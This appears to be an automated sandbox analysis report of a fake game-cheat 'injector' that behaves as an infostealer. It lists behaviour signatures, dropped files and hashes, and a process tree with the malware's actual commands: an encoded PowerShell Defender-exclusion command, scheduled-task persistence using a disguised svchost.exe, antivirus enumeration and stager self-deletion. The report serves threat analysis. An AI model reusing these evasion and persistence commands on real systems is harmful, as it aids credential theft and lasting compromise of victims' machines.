Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/07/2026, 04:30

General

  • Target
    Weed-Hack-V1/WeedHack_Injector_V6.5.exe
  • Size 78.9MB
  • Sample260718-e4v63abw5w
  • SHA256 917edf4ad4984f6ac0d4622fdf8a47f2cc60d9bdeca8a38de6683dd50bed4920
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Weed-Hack-V1\WeedHack_Injector_V6.5.exe
    "C:\Users\Admin\AppData\Local\Temp\Weed-Hack-V1\WeedHack_Injector_V6.5.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3128
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAeQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAaQB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAbQBrACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5440
    • C:\Users\Admin\AppData\Local\Temp\HostingService.exe
      "C:\Users\Admin\AppData\Local\Temp\HostingService.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3860
      • C:\Users\Admin\AppData\Local\Temp\HostingService.exe
        "C:\Users\Admin\AppData\Local\Temp\HostingService.exe"
        3⤵
        • Adds policy Run key to start application
        • Drops file in Drivers directory
        • Drops startup file
        • Executes dropped EXE
        • Loads dropped DLL
        • Registers new Windows logon scripts automatically executed at logon.
        • Adds Run key to start application
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2176
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command -
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3768
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kill.bat" "
            5⤵
            • Executes a command shell one-liner
            PID:3888
    • C:\Users\Admin\AppData\Local\Temp\stager.exe
      "C:\Users\Admin\AppData\Local\Temp\stager.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Users\Admin\AppData\Local\Temp\stager.exe
        "C:\Users\Admin\AppData\Local\Temp\stager.exe"
        3⤵
        • Downloads MZ/PE file
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsHealthService" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe" /sc onlogon /ru SYSTEM /f"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4232
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "WindowsHealthService" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe" /sc onlogon /ru SYSTEM /f
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5904
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$action = New-ScheduledTaskAction -Execute \"C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe\"\n$trigger = New-ScheduledTaskTrigger -Daily -At \"03:00AM\"\n$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries\nRegister-ScheduledTask -TaskName \"WindowsHealthWatchdog\" -Action $action -Trigger $trigger -Settings $settings -Force\n"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5180
        • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1124
          • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4100
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv"
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4476
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:5208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -Path \"C:\Users\Admin\AppData\Local\Temp\stager.exe\" -Force -ErrorAction SilentlyContinue; while (Test-Path \"C:\Users\Admin\AppData\Local\Temp\stager.exe\") { Start-Sleep -Seconds 1; Remove-Item \"C:\Users\Admin\AppData\Local\Temp\stager.exe\" -Force -ErrorAction SilentlyContinue }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:852
  • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\SysHealth\svchost.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5828
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2516

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        qt_help_en.qm

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI11242\PyQt5\Qt5\translations\qt_help_en.qm
        • Size 16B
        • SHA256 9959b510b15d18937848ad13007e30459d2e993c67e564badbfc18f935695c85
        • MD5 SHA1 SHA512

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\_bz2.pyd
        • Size 85KB
        • SHA256 a4be36fffeefa8b24c1234d548da8f05558aba53c2ea7d1d2614776eaad8fbf4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\_ctypes.pyd
        • Size 139KB
        • SHA256 f8a9f7831e81b2bfba12456e589f8198114f24986bd527ac231a844565afcddb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\_hashlib.pyd
        • Size 67KB
        • SHA256 d4524b261f09806a828c62fc97e8517328b23d65ab87d20706a4bafd86bbf345
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\_lzma.pyd
        • Size 157KB
        • SHA256 f7ad11fbbb7aeaf7b6566a532a3243e3ae5f92bac480dbe5c2ef300fe2c1dabe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\_socket.pyd
        • Size 85KB
        • SHA256 ff3e97cd11bdc68798e5b3dcd5295d1efba179b7344142d50d066bbf1c2d79cd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\_ssl.pyd
        • Size 180KB
        • SHA256 43e60bbdff2fe41701f39fa25ea6a8251a2b7623ff18f980a209a451eb5e648f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _zstd.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\_zstd.pyd
        • Size 491KB
        • SHA256 536a3b521a3c42d2827ece0ccfbe40b83a2fd96a0f5496cd60b943b10e1266d4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\base_library.zip
        • Size 1.3MB
        • SHA256 c72386cf1684873e77476672f3e85df096a1295654c7237713843c42333841ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\libcrypto-3.dll
        • Size 5.0MB
        • SHA256 e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\libssl-3.dll
        • Size 776KB
        • SHA256 1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python314.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\python314.dll
        • Size 6.4MB
        • SHA256 1ac15e2224581fc678bbd17728b9aa538d47b891b72c76499ef07e54cd74f151
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\ucrtbase.dll
        • Size 1.3MB
        • SHA256 2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI26362\unicodedata.pyd
        • Size 740KB
        • SHA256 4445b894f836e89a8b9fdcc88b5e59fbc76aca805baaf40aeb69e869978d4e6d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI38602\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI38602\_queue.pyd
        • Size 35KB
        • SHA256 cb529f77bc4665dfa3b66fae3d00ab84de1e9618d0cb94900efbf28527623c0f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _wmi.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI38602\_wmi.pyd
        • Size 39KB
        • SHA256 5a7f3444f1c2f85fb5573bc330c1aea2c583912bb6f948ff81f8fd89a30e67be
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI38602\base_library.zip
        • Size 1.3MB
        • SHA256 24e87baf8169efa452fba31338d05115bf3072946183f8a75b3fb3b53ad5e3eb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI38602\python3.dll
        • Size 72KB
        • SHA256 be1017ca4ca8ff837efbb343d5c8f739bd67bd1c43fb41068a539b19357c0213
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_mzknsk2f.ryb.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mzknsk2f.ryb.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        kill.bat

        • Path C:\Users\Admin\AppData\Local\Temp\kill.bat
        • Size 165B
        • SHA256 f2f6fb21b5d878d48cf0141f3234239bc849d362724dcc5ba1089ce53a0e54d9
        • MD5 SHA1 SHA512 TLSH

        stager.exe

        • Path C:\Users\Admin\AppData\Local\Temp\stager.exe
        • Size 9.1MB
        • SHA256 cb1cac060c4b931f58d9279245ebb036b905178c77125578b178f5f23b647550
        • MD5 SHA1 SHA512 SSDEEP TLSH

        stager_debug.txt

        • Path C:\Users\Admin\AppData\Local\Temp\stager_debug.txt
        • Size 372B
        • SHA256 3c1ddcccf695fe00d2e82a6d95f5f6c99ff639abfd4c55802b780691de8113f5
        • MD5 SHA1 SHA512 TLSH

        stager_debug.txt

        • Path C:\Users\Admin\AppData\Local\Temp\stager_debug.txt
        • Size 1KB
        • SHA256 bd77cf048aac134be5d4abf9791988290f99aa5a25aa40d94426ac596834e7f5
        • MD5 SHA1 SHA512 TLSH

        memory/2176-668-0x0000000070D40000-0x00000000730BE000-memory.dmp

        memory/2176-683-0x0000000070D40000-0x00000000730BE000-memory.dmp

        memory/3768-673-0x000002A7F0290000-0x000002A7F02B2000-memory.dmp

        memory/3768-674-0x000002A7F06A0000-0x000002A7F06E8000-memory.dmp

        memory/4100-3078-0x00007FF9987A0000-0x00007FF998A03000-memory.dmp

        memory/4652-3002-0x00007FF998FE0000-0x00007FF999243000-memory.dmp

        memory/5180-702-0x0000021ACE440000-0x0000021ACE45E000-memory.dmp

        memory/5180-701-0x0000021ACE410000-0x0000021ACE41A000-memory.dmp

        memory/5180-700-0x0000021ACE680000-0x0000021ACE732000-memory.dmp

        memory/5180-699-0x0000021ACE3F0000-0x0000021ACE40E000-memory.dmp

        memory/5440-13-0x0000000005750000-0x00000000057B6000-memory.dmp

        memory/5440-16-0x00000000057F0000-0x0000000005B4B000-memory.dmp

        memory/5440-599-0x0000000007660000-0x0000000007CDC000-memory.dmp

        memory/5440-661-0x00000000070A0000-0x00000000070AA000-memory.dmp

        memory/5440-663-0x00000000072A0000-0x0000000007336000-memory.dmp

        memory/5440-667-0x0000000073610000-0x0000000073DCC000-memory.dmp

        memory/5440-0-0x0000000073622000-0x0000000073623000-memory.dmp

        memory/5440-10-0x0000000073610000-0x0000000073DCC000-memory.dmp

        memory/5440-12-0x00000000056E0000-0x0000000005746000-memory.dmp

        memory/5440-11-0x0000000004EE0000-0x0000000004F02000-memory.dmp

        memory/5440-7-0x0000000073610000-0x0000000073DCC000-memory.dmp

        memory/5440-600-0x0000000007020000-0x000000000703A000-memory.dmp

        memory/5440-17-0x0000000005D00000-0x0000000005D1E000-memory.dmp

        memory/5440-18-0x0000000005D60000-0x0000000005DAC000-memory.dmp

        memory/5440-481-0x0000000006E80000-0x0000000006EB6000-memory.dmp

        memory/5440-507-0x0000000070020000-0x000000007006C000-memory.dmp

        memory/5440-8-0x0000000004F60000-0x00000000055AA000-memory.dmp

        memory/5440-1-0x00000000024A0000-0x00000000024D6000-memory.dmp

        memory/5440-550-0x0000000006EC0000-0x0000000006EE0000-memory.dmp

        memory/5440-572-0x0000000006EF0000-0x0000000006F93000-memory.dmp